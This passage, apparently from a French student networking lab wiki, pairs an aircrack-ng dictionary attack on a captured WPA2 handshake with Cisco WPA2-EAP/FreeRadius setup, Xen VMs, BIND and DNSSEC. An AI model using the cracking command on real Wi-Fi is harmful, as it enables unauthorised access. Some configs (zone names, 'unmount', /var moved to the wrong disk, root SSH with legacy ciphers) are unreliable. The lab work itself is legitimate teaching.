La commande suivante permet de lancer l’attaque par dictionnaire :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-EAP =&lt;br /&gt;
&lt;br /&gt;
== Objectif ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme&lt;br /&gt;
d’authentification WPA2-Enterprise (WPA2-EAP).  &lt;br /&gt;
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé&lt;br /&gt;
FreeRadius permettant une authentification individuelle des utilisateurs.&lt;br /&gt;
&lt;br /&gt;
L’infrastructure repose sur :&lt;br /&gt;
* un VLAN personnel dédié ;&lt;br /&gt;
* une redondance des routeurs via VRRP ;&lt;br /&gt;
* un serveur FreeRadius installé sur la machine virtuelle de services.&lt;br /&gt;
&lt;br /&gt;
== Accès aux équipements réseau ==&lt;br /&gt;
&lt;br /&gt;
La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\&lt;br /&gt;
diffie-hellman-group14-sha1,\&lt;br /&gt;
diffie-hellman-group1-sha1 \&lt;br /&gt;
-o HostKeyAlgorithms=ssh-rsa \&lt;br /&gt;
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\&lt;br /&gt;
aes128-ctr,aes192-ctr,aes256-ctr \&lt;br /&gt;
admin@172.27.0.2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Adressage des équipements ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Equipement !! Adresse IP&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E304 || 172.27.0.1&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200 E306 || 172.27.0.2&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E306 || 172.27.0.3&lt;br /&gt;
|-&lt;br /&gt;
| Borne WiFi E304 || 172.27.0.4&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Création du VLAN personnel ==&lt;br /&gt;
&lt;br /&gt;
Le VLAN personnel attribué est le VLAN '''18'''.&lt;br /&gt;
&lt;br /&gt;
=== Sur les deux routeurs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 18&lt;br /&gt;
 name VLAN_YASSINE&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration des interfaces VLAN ==&lt;br /&gt;
&lt;br /&gt;
=== Routeur principal (E304) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.2 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 110&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Routeur secondaire (E306) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip address 10.60.8.3 255.255.255.0&lt;br /&gt;
 vrrp 18 address 10.60.8.1&lt;br /&gt;
 vrrp 18 priority 100&lt;br /&gt;
 vrrp 18 preempt&lt;br /&gt;
 no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.&lt;br /&gt;
&lt;br /&gt;
== Configuration DHCP ==&lt;br /&gt;
&lt;br /&gt;
Le serveur DHCP est réparti entre les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
=== Routeur E304 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-A&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.100 10.60.8.150&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Routeur E306 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip dhcp pool PoolYassine-B&lt;br /&gt;
 network 10.60.8.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.8.1&lt;br /&gt;
 dns-server 192.168.7.2&lt;br /&gt;
 address range 10.60.8.151 10.60.8.200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Routage vers la machine mandataire (PBR) ==&lt;br /&gt;
&lt;br /&gt;
Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
access-list 101 permit ip 10.60.8.0 0.0.0.255 any&lt;br /&gt;
&lt;br /&gt;
route-map PBR-YASSINE permit 10&lt;br /&gt;
 match ip address 101&lt;br /&gt;
 set ip next-hop 192.168.7.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Application :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
interface vlan 18&lt;br /&gt;
 ip policy route-map PBR-YASSINE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration du serveur FreeRadius ==&lt;br /&gt;
&lt;br /&gt;
Sur la machine virtuelle de services (192.168.7.2) :&lt;br /&gt;
&lt;br /&gt;
Installation :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install freeradius freeradius-utils&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ajout du point d’accès WiFi :&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12528</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12528"/>
		<updated>2026-02-27T13:24:23Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Génération des clés */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
